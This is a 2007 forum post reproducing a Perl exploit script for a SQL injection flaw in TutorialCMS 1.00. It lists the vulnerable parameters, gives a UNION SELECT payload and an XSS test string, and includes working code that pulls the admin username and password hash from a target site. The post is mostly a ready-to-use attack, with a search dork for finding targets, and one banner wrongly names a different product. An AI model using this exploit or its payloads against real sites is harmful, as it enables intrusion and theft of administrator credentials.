Ras Posted May 10, 2007 Report Posted May 10, 2007 #!/usr/bin/perl -w################################################################################## ## TutorialCMS <= 1.00 SQL Injection Exploit ## ## Discovered by: Silentz ## Payload: Admin Username & Hash Retrieval ## Website: [url]http://www.No_Advertising.com[/url] ## ## Vulnerable Code (search.php): ## ## $search = $_REQUEST['search']; ## $sql = "SELECT * FROM tutorials WHERE title LIKE '%$search%' ## ORDER BY hits DESC LIMIT $startID , $perPage"; ## ## Manual SQL Injection: ## ## browseCat.php?catFile=[SQL QUERY] ## browseSubCat.php?catFile=[SQL QUERY] ## openTutorial.php?id=[SQL QUERY] ## search.php?search=[SQL QUERY] ## topFrame.php?id=[SQL QUERY] ## admin/editListing.php?id=[SQL QUERY] ## ## NOTE: All above parameters are vulnerable to XSS, so try: ## ## search.php?search="><script>alert('http://www.No_Advertising.com')</script> # # ## PoC: http://victim.com/search.php?search=' UNION SELECT 0,0,0,0,username, ## password,0,0,0,0,0,0,0 FROM users WHERE id='1' /* ## ## Subject To: magic_quotes_gpc set to off ## GoogleDork: "Powered By Photoshop Tutorials" (0 Results) ## ## Shoutz: The entire No_Advertising community ## ##################################################################################use LWP::UserAgent;if (@ARGV < 1){print "-------------------------------------------------------------------------\r\n";print " TutorialCMS <= 1.00 SQL Injection Exploit\r\n";print "-------------------------------------------------------------------------\r\n";print "Usage: No_Advertising.pl [PATH]\r\n\r\n";print "[PATH] = Path where TutorialCMS is located\r\n\r\n";print "e.g. No_Advertising.pl http://victim.com/tutorialcms/\r\n";print "-------------------------------------------------------------------------\r\n";print " http://www.No_Advertising.com\r\n";print " ...Silentz\r\n";print "-------------------------------------------------------------------------\r\n";exit();}$useragent = LWP::UserAgent->new() or die "Could not initialize browser\n";$useragent->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');$sql = $ARGV[0] . "search.php?search=' UNION SELECT 0,0,0,0,username,password,0,0,password,0,password,0,0 FROM users WHERE id='1' /*";$result = $useragent->request(HTTP::Request->new(GET=>$sql));if($result->content =~ /">[b]<u>([0-9a-zA-Z]+)<\/u>/){print "-------------------------------------------------------------------------\r\n";print " SimpNews <= 2.40.01 SQL Injection Exploit\r\n";print "-------------------------------------------------------------------------\r\n";print "[+] Admin User : $1\n";}else {print "\n[-] Unable to retrieve admin username..."}if($result->content =~ /([0-9a-fA-F]{32})/){print "[+] Admin Hash : $1\n";print "-------------------------------------------------------------------------\r\n";print " http://www.No_Advertising.com\r\n";print " ...Silentz\r\n";print "-------------------------------------------------------------------------\r\n";}else {print "\n[-] Unable to retrieve admin hash...\n";} Quote